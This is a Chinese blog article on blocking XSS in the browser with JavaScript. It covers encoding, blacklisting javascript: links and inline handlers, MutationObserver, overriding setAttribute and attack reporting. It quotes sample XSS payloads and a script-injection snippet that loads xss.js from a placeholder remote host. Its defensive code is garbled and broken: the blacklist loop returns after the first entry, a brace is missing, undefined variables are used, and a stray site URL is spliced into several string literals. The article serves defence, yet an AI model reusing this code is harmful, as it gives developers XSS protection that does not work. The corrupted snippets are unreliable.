前端安全 — 浅谈JavaScript拦截XSS

仰天大笑出门去,我辈岂是蓬蒿人。这篇文章主要讲述前端安全 — 浅谈JavaScript拦截XSS相关的知识,希望能为你提供帮助。
XSS/跨站脚本攻击,是一种代码注入网页攻击,攻击者可以将代码植入到其他用户都能访问到的页面(如论坛、留言板、贴吧等)中。
【前端安全 — 浅谈JavaScript拦截XSS】如今,XSS攻击所涉及的场景愈发广泛。越来越多的客户端软件支持 html 解析和 javascript 解析,比如:HTML 文档、XML 文档、Flash、PDF、QQ、一些音乐播放器以及浏览器的功能界面等。这些用户经常使用的场景往往都是 XSS 攻击的高发地带。
一、XSS攻击类型 1. 存储型XSS(持久型)攻击者在表单内提交恶意 js 代码 (如 & lt; script& gt; alert(\'hello\')& lt; /script& gt; ),网站后端对提交数据不做任何安全处理,直接存储在数据库中。当其他用户访问这个已被攻击的网站,js 代码攻击就会被触发。这个类型的 XSS 攻击会存储在数据库中,持续时间长,影响范围大。

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2. 反射型XSS(非持久型)反射型 XSS 攻击,是正常用户请求一个非法资源时触发的攻击。此类型攻击通常需要用户主动去访问带攻击的链接,一旦点开了链接,大概率被成功攻击(比如:我有一部电影资源,请点击 http://xxxxx 下载)。
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3. DOM XSS基于 DOM 的 XSS 攻击是反射型攻击的变种。服务器正常返回数据,其攻击在于正常用户进行某种操作 ( js 操作) 时,触发攻击者的 URL 攻击代码,服务器难以检测出这是否为非法请求。
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二、XSS攻击的危害
  • 挂马;
  • 盗取用户cookie;
  • DoS(拒绝服务)客户端浏览器;
  • 钓鱼攻击,高级钓鱼技巧;
  • 编写针对性的 XSS 病毒,删除目标文章、恶意篡改数据、嫁祸;
  • 劫持用户 Web 行为, 进一步渗透内网;
  • 爆发 Web2.0 蠕虫;
  • 蠕虫式的 DDoS 攻击;
  • 蠕虫式挂马攻击、刷广告、刷流量、破坏网上数据
  • ……
三、javaScript拦截随着互联网发展,XSS 攻击涉及场景越大,其造成的危害随之扩大。拦截与防护的关键,重中之重当然是从后端入手。然而,这并不意味着网页前端无需进行相应的拦截。前后端共同拦截,网站应对 XSS 攻击的防护才会更加周全。接下来,本文将浅析前端的 XSS 攻击拦截。
XSS 攻击简单来说就是代码的注入,特指恶意用户输入恶意程序代码。为了防范这类代码的注入,网站需要确保其用户输入的安全性。对于攻击验证,可以采用以下措施:
1. 编码在客户端使用 JavaScript 对用户输入进行编码时,有一些内置的方法和属性可以在自动感知上下文的情况下,对所有的输入数据进行编码。
一些自动编码的方法可参考下表:
上下文 方法
html元素 例:& lt; div& gt; userinput& lt; /div& gt; < br> → node.textContent = userInput
html属性 例:& lt; input value="https://www.songbingjia.com/android/userInput"/& gt; < br> → node.setAttribute(attr,userInput)
URL查询值 例:http://example.com/?parameter=userInput < br> → encodeURIComponent(userInput)
CSS值 例:color: userInput < br> → Node.style.property=userInput
2. 内联事件及内联脚本一些比较常见的注入方式,大部分都是 javascript:... 及内联事件 on* 。如:
< a rel="nofollow" href="javascript:alert(\'hello\')" > < /a> < iframe src="javascript:alert(\'hello\')" /> < img src=https://www.songbingjia.com/'x\' onerror="alert(\'hello\')" /> < video src=https://www.songbingjia.com/'x\' onerror="alert(\'hello\')" > < /video> < div onclick="alert(\'hello\')" onmouseover="alert(\'hello2\')" > < div>

类似这种注入,我们需要在浏览器触发点击事件前,对 javascript:... 内容进行黑名单判断,以实现防护效果。对于 on* 也是一样,可以使用 addEventListener 防护内联事件注入:
// 定义 黑名单 策略 var blackList = [ \'xss\', \'flow..\' ]; // 黑名单匹配 function blackMatch(blackList, value) { if (!blackList) return false; for (var i=0; i < blackList.length; i++) { var reg = new RegExp(blackList[i], \'i\'); if (reg.test(value)) { return true; } else { return false; } } document.addEventListener(\'click\', function(e) { var el = e.target; //查找 a标签 < a rel="nofollow" href="javascript:"> if (el.tagName === \'A\' & & el.protocol === \'javascript:\') { var code = el.href.substr(11); if (blackMatch(blackList, code)) { //非法输入 elem.href = https://www.songbingjia.com/'javascript:void(0)\'; } } }, true)

3. 静态脚本通常,攻击者会向页面中注入一个静态脚本链接,比如,注入 & lt; scriptsrc="http://xxx/xss.js"& gt; 。对于这类注入,我们需要在脚本执行前找出可疑脚本,并销毁掉。此处可使用 MutationObserver 高级 api,在页面加载变化时,对静态脚本文件进行监控:
// Mutation 监听DOM树变化 var observer = new MutationObserver(function(mutations) { mutations.forEach(function(mutation) { // 添加节点数 var nodes = mutation.addedNodes; for (var i = 0; i < = nodes.length - 1; i++) { var node = nodes[i]; //blacklist 黑名单策略列表 if (blackMatch(blackList, code)) { node.parentNode.removeChild(node); console.log(\'发现可疑模块:\', node); } } }); }); // 当页面元素节点添加和删除操作会被观察到 observer.observe(document, { subtree: true, childList: true });

4. 动态脚本除上述静态脚本外,攻击者还经常使用动态脚本注入,而且 MutationObserver api 无法监听 DOM 的变化,攻击脚本依旧会执行。比如:
var script = document.createElement(\'script\'); script.setAttribute(\'type\', \'text/javascript\'); script.setAttribute(\'src\', \'http://xxxxx/xss.js\'); document.getElementsByTagName(\'body\')[0].appendChild(script)

这种注入方式,可能需要使用原生的 setAttribute 方法,来监听 src 属性的值,再通过黑名单判断它是否具有合法性,重写 setAttribute 接口来实现防护:
var old_setAttribute = Element.prototype.setAttribute; // 重写 setAttribute 接口 Element.prototype.setAttribute = function(name, value) {if (this.tagName == \'SCRIPT\' & & /^src$/i.test(name)) { // 黑名单判断 if (blackMatch(blackList, value)) { console.log(\'发现可疑模块:\', value); return; } }old_setAttribute.apply(this, arguments); };

5. 上报攻击信息上述几种前端防护均需要黑名单库进行判断,然而如何才能增强黑名单呢?
我们需要将攻击者每次的攻击信息收集起来,并发送到服务器进行分析、处理。这样一来,不仅可以增强黑名单,还能根据收集到的信息设计针对性措施。
可定义一个上报函数,使用 node 接收攻击信息。其结果如下:
function hijackReport(name, value) { var img = document.createElement(\'img\'), hijackName = name, hijackValue = https://www.songbingjia.com/android/value.toString(), curDate = new Date().getTime(); // 上报 img.src = /'http://192.168.1.3:3002/report/?msg=\' + hijackName + \'& value=https://www.songbingjia.com/' + hijackValue + \'& time=\' + curDate; }

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在此,有一个防XSS攻击的库可供学习了解。
==Tips - Content Security Policy (CSP)==
使用验证来防止 XSS 攻击的缺陷在于,只要存在一丝漏洞,就会使网站遭到攻击,而 Content Security Policy (CSP) 的标准则能够降低这一风险。(张杰 | 天存信息)
Ref
  1. 《Web前端黑客技术揭秘》 - 钟晨鸣
  2. ‘JavaScript防http劫持与XSS’ - shanyezi
  3. https://github.com/leizongmin/js-xss

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